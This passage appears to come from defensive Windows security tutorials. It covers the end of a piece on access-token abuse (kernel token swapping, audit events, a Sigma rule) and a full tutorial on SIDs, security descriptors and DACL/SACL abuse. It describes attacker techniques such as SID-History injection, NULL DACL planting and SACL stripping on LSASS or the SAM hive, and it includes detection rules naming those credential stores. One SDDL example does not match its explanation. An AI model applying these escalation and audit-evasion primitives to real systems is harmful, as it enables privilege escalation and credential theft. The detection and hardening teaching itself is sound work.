  • T1134.003 – Make and Impersonate Token. LogonUser with credentials in hand, then SetThreadToken. Quieter than theft because the resulting logon looks legitimate – but it generates a 4624 you can see.
Flow diagram mapping token abuse primitives: OpenProcessToken feeding DuplicateTokenEx which branches to thread impersonation (T1134.001) or CreateProcessWithTokenW (T1134.002), and LogonUser feeding SetThreadToken (T1134.003).
The three MITRE T1134 sub-techniques map directly onto three token API primitives – theft via duplication, new process under stolen token, or fresh token from explicit credentials.

9. _EPROCESS.Token and Kernel-Mode Abuse

The kernel’s view of a process’s primary token is the Token field in _EPROCESS, an EX_FAST_REF – a pointer with reference-count bits packed into the low bits. A kernel exploit with arbitrary write can overwrite that field with a pointer to the SYSTEM process’s token, instantly upgrading the attacker’s process to SYSTEM without touching any user-mode API.

Walking it in WinDbg looks like this:

0: kd> !process 0 0 explorer.exe
PROCESS ffffba0c1a5f6080 ...
0: kd> dt nt!_EPROCESS ffffba0c1a5f6080 Token
   +0x4b8 Token : _EX_FAST_REF
0: kd> dt nt!_TOKEN (poi(ffffba0c1a5f6080+0x4b8) & ~0xf)

The offset will not be 0x4b8 on your build. Use dt to find it on the system you’re analyzing.

For defenders, the operational takeaway is that kernel-mode token swapping leaves no user-mode footprint – no AdjustTokenPrivileges, no OpenProcessToken, no 4703. The detection has to shift earlier: catch the driver load (SeLoadDriverPrivilege use, signed-driver loader events) or the exploit’s user-mode loader, because by the time the swap happens your audit pipeline is blind to it.


10. Detection and Defense

Token abuse leaves observable traces across the Security log, Sysmon, and ETW. Pick the events that match the primitive you’re hunting.

Windows Security Audit Events

Event IDNameWhat It Tells You
4624Successful logonNew logon session and primary token; check LogonType
4648Logon with explicit credentialsrunas, CreateProcessWithLogonW, lateral movement
4672Special privileges assigned to new logonSensitive privileges granted at session start
4673Privileged service calledUse of sensitive privilege
4688New process createdIncludes TokenElevationType (1/2/3)
4703User right adjustedAdjustTokenPrivileges calls – the core privilege-enable signal

4672 is high-value: it fires once per privileged logon and lists the sensitive privileges assigned. Filter out the well-known principals (LOCAL SYSTEM, NETWORK SERVICE, LOCAL SERVICE) and expected admins. What’s left is worth a look – that’s where Mimikatz-style pass-the-hash and elevation activity surfaces.

Sysmon

  • EID 1 (Process Create)IntegrityLevel and User fields directly show the process’s effective token. A child of a Medium-IL process suddenly running at System integrity is a hard signal.
  • EID 10 (ProcessAccess)OpenProcess against LSASS or other high-value targets. Watch GrantedAccess masks like 0x1400 (PROCESS_QUERY_INFORMATION | PROCESS_QUERY_LIMITED_INFORMATION) and 0x40 (PROCESS_DUP_HANDLE).
  • EID 8 (CreateRemoteThread) – cross-process injection that frequently follows token theft.

Sigma Sketch: Privilege Enable on a Sensitive Right

title: Sensitive Privilege Adjusted via AdjustTokenPrivileges
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4703
    EnabledPrivilegeList|contains:
      - 'SeDebugPrivilege'
      - 'SeImpersonatePrivilege'
      - 'SeTcbPrivilege'
      - 'SeLoadDriverPrivilege'
  filter_known:
    SubjectUserSid:
      - 'S-1-5-18'   # LOCAL SYSTEM
      - 'S-1-5-19'   # LOCAL SERVICE
      - 'S-1-5-20'   # NETWORK SERVICE
  condition: selection and not filter_known
level: high

To produce 4703, the Audit Token Right Adjusted subcategory has to be enabled – it isn’t by default on most builds. Same goes for Audit Sensitive Privilege Use for 4673/4674, and command-line logging in 4688 (Group Policy: System → Audit Process Creation → Include command line).

ETW Providers

ProviderWhat It Carries
Microsoft-Windows-Security-AuditingAll audit events above
Microsoft-Windows-Kernel-ProcessProcess/thread lifecycle including token assignment
Microsoft-Windows-Threat-IntelligenceHigh-fidelity process-access telemetry; PPL consumer only (Defender/EDR)

Hardening

  • SeCreateTokenPrivilege → SYSTEM only. Nothing else needs it.
  • SeAssignPrimaryTokenPrivilege → local/network service accounts only. Audit anything else holding it.
  • Strip SeImpersonatePrivilege from service accounts that don’t host RPC or named-pipe endpoints. Its presence is the precondition for the Potato family.
  • PPL for critical services – blocks OpenProcess with token-access rights from unprotected callers.
  • Credential Guard – isolates logon-session secrets in VSM,

Related Tutorials

References

SIDs and Security Descriptors: Identity in Windows Security

A thread opens a handle to a file. Before a single byte is read, the kernel has already answered a question nobody typed: is the caller’s identity allowed to do this? That answer lives at the intersection of two structures – the SID that names who you are, and the security descriptor that says who gets in. Get the relationship between them wrong and you ship a world-writable service. Understand it, and most “weird permission” incidents stop being mysterious.

Objective: Understand how Windows represents identity with Security Identifiers, how Security Descriptors bind owners, DACLs, and SACLs to every securable object, and how attackers abuse – and defenders detect – manipulation of both.


1. Identity Before Access

Windows authenticates security principals – anything the OS can prove an identity for: users, groups, computers, and service accounts. Authentication is the LSA’s job; the SAM (local) or the domain’s NTDS.dit (Active Directory) stores the account records. But authentication only proves who you are. Authorization – what you may touch – is a separate decision made against a different value: the SID.

A SID is the canonical, machine-readable name for a principal. Display names change. SAM account names get reused. SIDs do not. Once the system mints a SID at account-creation time, that value is never reused to identify another principal, even after the account is deleted. Every authorization check in the OS compares SIDs, never names.


2. Anatomy of a SID

A SID is a variable-length binary structure, defined as SID in winnt.h. Three logical parts: a revision, the issuing authority, and a chain of sub-authorities ending in a Relative Identifier (RID).

FieldTypeMeaning
RevisionBYTESID structure version – always 1
SubAuthorityCountBYTENumber of sub-authority values (max 15)
IdentifierAuthoritySID_IDENTIFIER_AUTHORITY6-byte top-level authority that issued the SID
SubAuthority[]DWORD[]Sub-authority values; the last element is the RID

The string notation everyone recognizes is just those fields, hyphenated. Take S-1-5-21-<d1>-<d2>-<d3>-513:

  • S-1 – a revision-1 SID.
  • 5SECURITY_NT_AUTHORITY, marking it a Windows NT SID.
  • 21SECURITY_NT_NON_UNIQUE, signaling that a domain identifier follows.
  • <d1>-<d2>-<d3> – three 32-bit values randomly generated to uniquely identify the domain.
  • 513 – the RID; here, the well-known RID for Domain Users.

You rarely build SIDs by hand. You parse them. Here’s the field-level walk in C – note that the documented accessors (GetSidSubAuthority, GetSidIdentifierAuthority) return pointers into the structure, which trips up everyone the first time:

#include <windows.h>
#include <sddl.h>
#include <stdio.h>

void PrintSid(PSID pSid) {
    if (!IsValidSid(pSid)) return;

    PSID_IDENTIFIER_AUTHORITY pAuth = GetSidIdentifierAuthority(pSid);
    DWORD subCount = *GetSidSubAuthorityCount(pSid);

    printf("Authority: %u\n", (DWORD)pAuth->Value[5]); // NT authority lives in the low byte
    for (DWORD i = 0; i < subCount; i++)
        printf("  SubAuthority[%lu] = %lu\n", i, *GetSidSubAuthority(pSid, i));

    LPSTR str = NULL;
    if (ConvertSidToStringSidA(pSid, &str)) {       // -> "S-1-5-..."
        printf("String SID: %s\n", str);
        LocalFree(str);
    }
}

To go the other direction – constructing a known SID – use AllocateAndInitializeSid, which takes an authority plus up to eight sub-authorities. Building the SYSTEM SID (S-1-5-18) and comparing it with EqualSid is the idiomatic way to check “am I running as LocalSystem?”:

SID_IDENTIFIER_AUTHORITY ntAuth = SECURITY_NT_AUTHORITY; // {0,0,0,0,0,5}
PSID pSystem = NULL;

if (AllocateAndInitializeSid(&ntAuth, 1,
        SECURITY_LOCAL_SYSTEM_RID,   // 18
        0, 0, 0, 0, 0, 0, 0, &pSystem)) {
    // EqualSid(tokenSid, pSystem) -> TRUE means LocalSystem
    FreeSid(pSystem);                // never free this with LocalFree
}

3. Well-Known SIDs and Built-in Principals

Some SIDs are identical on every Windows install. Hard-coding their strings is a bug waiting to happen across locales and versions; use the documented constants where you can. Memorize the ones below anyway – you’ll read them in logs daily.

SIDPrincipal
S-1-0-0Null SID (a group with no members)
S-1-1-0Everyone
S-1-5-18Local System
S-1-5-19Local Service
S-1-5-20Network Service
S-1-5-32-544Builtin\Administrators
S-1-16-12288High mandatory integrity level

Built-in accounts also carry well-known RIDs appended to the domain or machine SID: 500 is Administrator, 501 is Guest, 512 is Domain Admins. An attacker enumerating a domain looks for RID 500 and 512 specifically – the display name can be renamed, the RID cannot. Capability SIDs the OS recognizes are cached under HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SecurityManager\CapabilityClasses\AllCachedCapabilities.


4. SIDs at Runtime: The Access Token

When a user signs in, LSA builds an access token for the session. That token is the runtime bag of identity: the user’s SID, the SIDs of every group the user belongs to, the privileges granted, and a mandatory integrity level SID (the S-1-16-* family). Every process started in that logon context inherits a copy. When code makes an access check, the kernel compares the SIDs in the token against the SIDs in the object’s DACL.

One detail that becomes an attack surface later: an account can carry extra SIDs in its Active Directory sIDHistory attribute. That attribute exists for legitimate domain migration – copy the old SID into sIDHistory so a migrated user keeps access to resources permissioned to the old account without re-ACLing everything. The catch is that all values in sIDHistory are injected into the access token at logon, exactly as if they were primary group memberships.


Flowchart showing how LSA mints an access token at logon, the token is inherited by processes, and the Security Reference Monitor compares token SIDs against an object DACL to produce a granted access mask
Every handle open flows through SeAccessCheck, which compares the caller’s token SIDs against the target object’s DACL top-to-bottom before returning a granted-access mask.

5. The Security Descriptor: Structure and Fields

Every object the Object Manager creates has a security descriptor. The structure is SECURITY_DESCRIPTOR, reproduced here verbatim from winnt.h:

typedef struct _SECURITY_DESCRIPTOR {
  BYTE                        Revision;
  BYTE                        Sbz1;
  SECURITY_DESCRIPTOR_CONTROL Control;
  PSID                        Owner;
  PSID                        Group;
  PACL                        Sacl;
  PACL                        Dacl;
} SECURITY_DESCRIPTOR, *PISECURITY_DESCRIPTOR;

Field by field: Revision is always 1; Sbz1 is reserved and must be zero; Control is a flag bitmask; Owner and Group point to SIDs; Dacl and Sacl point to access-control lists. The internal layout differs between absolute form (the struct holds pointers to separately allocated SIDs and ACLs) and self-relative form (everything packed into one contiguous blob with offsets, marked by SE_SELF_RELATIVE). Because that format varies, never poke fields directly – drive it through the API.

The Control field qualifies how the rest of the descriptor is interpreted:

FlagMeaning
SE_DACL_PRESENTThe descriptor has a DACL (the pointer may still be NULL)
SE_SACL_PRESENTThe descriptor has a SACL
SE_DACL_PROTECTEDDACL is shielded from inherited ACEs
SE_SACL_PROTECTEDSACL is shielded from inherited ACEs
SE_OWNER_DEFAULTEDOwner was assigned by a default mechanism
SE_SELF_RELATIVEDescriptor is in packed, self-relative form

Here is the single most important gotcha in this entire topic, and it has burned production systems repeatedly. There is a difference between no DACL, an empty DACL, and a NULL DACL:

SECURITY_DESCRIPTOR sd;
InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION);

// NULL DACL: present == TRUE, pointer == NULL  -> GRANTS EVERYONE FULL ACCESS
SetSecurityDescriptorDacl(&sd, TRUE, NULL, FALSE);

// Empty DACL: present == TRUE, non-NULL ACL with zero ACEs -> DENIES EVERYONE
// (initialize an ACL with InitializeAcl and add no ACEs, then pass it here)

If SE_DACL_PRESENT is not set, or it is set with a NULL DACL pointer, the object allows full access to everyone. Developers reach for SetSecurityDescriptorDacl(&sd, TRUE, NULL, FALSE) thinking “no restrictions, default behavior” and ship a world-writable named pipe or service. An empty DACL – present, non-NULL, zero ACEs – does the opposite and denies everyone. One null pointer is the difference.


Hierarchy diagram of the SECURITY_DESCRIPTOR structure showing Owner SID, Group SID, DACL containing allow and deny ACEs, and SACL containing audit ACEs as child nodes
A security descriptor owns four pointers: two SIDs declaring ownership, a DACL controlling access, and a SACL controlling auditing – each ACE carries its own SID and access mask.

6. DACLs and ACEs: How Access Is Decided

A DACL is an ordered list of Access Control Entries. Each ACE has an ACE_HEADER (AceType, AceFlags, AceSize), an ACCESS_MASK of rights, and a trailing SID the entry applies to.

ACE TypeUsed InEffect
ACCESS_ALLOWED_ACEDACLGrants rights in its mask to the SID
ACCESS_DENIED_ACEDACLDenies rights in its mask to the SID
SYSTEM_AUDIT_ACESACLLogs access matching its mask

Evaluation order matters: the kernel walks ACEs top to bottom and stops as soon as the requested access is fully granted or any of it is denied. Well-formed (canonical) DACLs place deny ACEs ahead of allow ACEs precisely so a deny is seen first. An ACL has no hard ACE-count limit, but the whole ACL must stay under 64 KB.

Reading a real object’s DACL means pulling the descriptor and iterating ACEs by index with GetAce:

PSECURITY_DESCRIPTOR pSD = NULL;
PSID  pOwner = NULL;
PACL  pDacl  = NULL;

DWORD rc = GetNamedSecurityInfoW(
    L"C:\\Windows\\System32\\config\\SAM", SE_FILE_OBJECT,
    OWNER_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION,
    &pOwner, NULL, &pDacl, NULL, &pSD);

if (rc == ERROR_SUCCESS && pDacl) {
    for (WORD i = 0; i < pDacl->AceCount; i++) {
        PACE_HEADER hdr = NULL;
        if (GetAce(pDacl, i, (LPVOID*)&hdr)) {
            // hdr->AceType  == ACCESS_ALLOWED_ACE_TYPE / ACCESS_DENIED_ACE_TYPE
            // hdr->AceFlags == CONTAINER_INHERIT_ACE | OBJECT_INHERIT_ACE | ...
        }
    }
    LocalFree(pSD);
}

7. SACLs: Auditing Through the System ACL

The SACL uses the same ACL container but holds SYSTEM_AUDIT_ACE entries instead. Its access mask doesn’t grant or deny anything – it defines which access attempts generate audit records in the Windows Security Event Log. Reading or writing any object’s SACL requires the SeSecurityPrivilege right, which only Administrators normally hold. That privilege boundary is exactly why SACL tampering is a high-value detection target: the act of stripping audit ACEs is itself privileged.


8. SDDL: Security Descriptors as Text

A binary descriptor is awful to log, diff, or paste into a config file, so Windows defines the Security Descriptor Definition Language – a string form. The grammar is O: owner, G: group, D: DACL, S: SACL, each followed by flags and parenthesized ACEs:

O:BAG:SYD:(A;;FA;;;SY)(A;;FA;;;BA)(A;;0x1200a9;;;BU)S:(AU;SAFA;FA;;;WD)

That single ACE (A;;GRGWGX;;;SY) reads as: Allow, no inherit flags, Generic Read/Write/eXecute, to SY (SYSTEM). Round-trip it with ConvertSecurityDescriptorToStringSecurityDescriptor and ConvertStringSecurityDescriptorToSecurityDescriptor. In practice you’ll read SDDL far more often through PowerShell:

$acl = Get-Acl C:\Windows\System32\config\SAM
$acl.Owner            # owner principal
$acl.Sddl             # full SDDL string
$acl.Access | Format-Table IdentityReference, FileSystemRights, AccessControlType

icacls <path> gives the same data in a terser shorthand; Get-Acl is friendlier when you want the SDDL string itself for a baseline diff.


9. Inheritance and the Kernel Check

Child objects don’t usually carry hand-written ACLs. They inherit them. An ACE’s flags decide propagation: OBJECT_INHERIT_ACE (OI) pushes it onto leaf objects like files, CONTAINER_INHERIT_ACE (CI) onto sub-containers like folders or registry subkeys, and INHERIT_ONLY_ACE (IO) makes an ACE apply only to children and not the object carrying it. SE_DACL_PROTECTED blocks inheritance entirely – that’s what “disable inheritance” does in Explorer.

The decision itself happens in the kernel. Each OBJECT_HEADER carries a SecurityDescriptor field. At handle-creation time the Object Manager hands the token, the requested access, and the descriptor to the Security Reference Monitor (nt!SeAccessCheck), which walks the DACL and returns a granted-access mask. You can see the whole chain live in WinDbg:

kd> !process 0 0 lsass.exe
kd> !object <Object address>
kd> dt nt!_OBJECT_HEADER <header address> SecurityDescriptor
kd> !sd <SecurityDescriptor address & ~0xf>   ; mask low bits, they're flags
kd> !token                                     ; the token the check runs against

Files, registry keys, processes, threads, named pipes, services, jobs – anything named and securable runs through this same path.


10. Common Attacker Techniques

SIDs and SDs aren’t just plumbing – they’re a manipulation target for evasion and escalation. The primitives below all leave traces (covered next), which is the point of teaching them.

TechniqueDescription
NULL DACL plantingSet a present-but-NULL DACL on a service, registry key, or pipe to make it world-writable
DACL tampering for persistenceAdd an explicit ACCESS_ALLOWED_ACE granting the attacker’s SID FullControl on a sensitive object
Owner abuseTaking ownership of an object implicitly grants WRITE_DAC, letting an attacker rewrite the DACL afterward
SID-History injectionWrite a privileged SID (e.g. a Domain Admins RID) into a controlled account’s sIDHistory so it lands in the token
SACL strippingRemove audit ACEs from lsass.exe, SAM, or ntds.dit to suppress access logging before credential theft
Permission group discoveryEnumerate group SIDs and ACL members to plan lateral movement

A populated sIDHistory on a non-migrated account is the canonical hunting signal for the injection case:

Get-ADUser -Filter * -Properties sIDHistory |
    Where-Object { $_.sIDHistory } |
    Select-Object Name, @{ n='sIDHistory'; e={ $_.sIDHistory -join ', ' } }

In a domain with no active migration, any result here deserves investigation – especially a sIDHistory value ending in RID 512 or 519.


Graph diagram mapping four attacker techniques - SID-History Injection, NULL DACL Planting, DACL Tampering, and SACL Stripping - to their respective impacts: privileged token, world-writable object, persistent access, and audit blindspot
Each abuse primitive targets a distinct part of the SID/security-descriptor model and produces a different attacker capability, from silent credential theft to persistent object access.

11. Detection, Hunting, and Hardening

DACL and SACL changes are logged by Windows itself, not Sysmon – you must enable the right Advanced Audit Policy subcategories first (Object Access → Audit File System / Audit Registry, and Policy Change → Audit Audit Policy Change).

Event IDTriggerHunt On
4670Object permissions changed (DACL/Owner)ObjectName, OldSd, NewSd, SubjectUserSid
4907Object auditing (SACL) settings changedBlank NewSd = SACL stripped
4715Audit policy on an object changedOriginalSecurityDescriptor, NewSecurityDescriptor
4719System audit policy changedSubjectUserSid, AuditPolicyChanges
4663Object access attemptSudden gaps after a 4907 on LSASS = stripping
4728/4732/4756Member added to privileged groupCorrelate with SID manipulation

The highest-fidelity signal is a 4907 that blanks the SACL on lsass.exe, ntds.dit, or the SAM hive – that’s pre-credential-dump preparation. Pair it with Sysmon Event ID 10 (process access to LSASS) and Event ID 1 watching for icacls.exe, cacls.exe, sc.exe sdset, and Set-Acl command lines. A Sigma sketch for DACL tampering on sensitive objects:

title: Suspicious DACL Modification on Sensitive Object
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4670
    ObjectName|contains:
      - '\lsass.exe'
      - '\ntds.dit'
      - '\SAM'
  condition: selection
fields:
  - SubjectUserSid
  - ObjectName
  - OldSd
  - NewSd
level: high

Hardening, in rough priority order:

  • Hunt NULL DACLs. Use AccessChk to enumerate world-writable services, keys, and files; fix them.
  • Protect the LSASS SACL and alert on any 4907 that empties it.
  • Enable SID Filtering on every trust to neutralize cross-domain sIDHistory abuse, and audit sIDHistory on a schedule.
  • Restrict SeSecurityPrivilege to Administrators and watch for its use.
  • Prefer explicit DENY over absent ALLOW, and put privileged accounts in Protected Users.

MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Access Token ManipulationT1134Token/SID anomalies in logon events
SID-History InjectionT1134.005Non-empty sIDHistory on non-migrated accounts
File/Directory Permissions ModificationT1222.0014670; icacls/SetNamedSecurityInfo in 4688
Impair Defenses: Disable/Modify ToolsT1562.0014907 blanking a SACL; 4663 gaps
Permission Groups DiscoveryT1069.001 / .002Bulk SID/group enumeration

12. Tools

ToolDescriptionLink
AccessChkDumps effective permissions and finds NULL/weak DACLslearn.microsoft.com
icaclsBuilt-in ACL viewer/editor with SDDL shorthand(built-in)
Get-Acl / Set-AclPowerShell SD read/write, exposes .Sddl(built-in)
WinDbgKernel-side !sd, !token, OBJECT_HEADER inspectionlearn.microsoft.com
Process HackerGUI view of token SIDs and object securityprocesshacker.sourceforge.io
WinObjBrowse Object Manager namespace and per-object securitylearn.microsoft.com

Summary

  • A SID is the immutable, never-reused name Windows checks for every authorization decision – display names are cosmetic, SIDs are ground truth.
  • The access token carries the user SID plus all group SIDs (including any from sIDHistory), and the kernel compares those against an object’s DACL via nt!SeAccessCheck.
  • The SECURITY_DESCRIPTOR binds owner, group, DACL, and SACL; a present-but-NULL DACL silently grants everyone full access, while an empty DACL denies everyone.
  • SID-History injection (T1134.005) and SACL stripping (T1562.001) are the two abuse primitives worth hunting hardest – watch 4670, 4907, and non-empty sIDHistory.
  • Enable Object Access and Policy Change auditing, restrict SeSecurityPrivilege, enable SID Filtering on trusts, and baseline SDDL on sensitive objects so a tampered DACL stands out.

Related Tutorials

References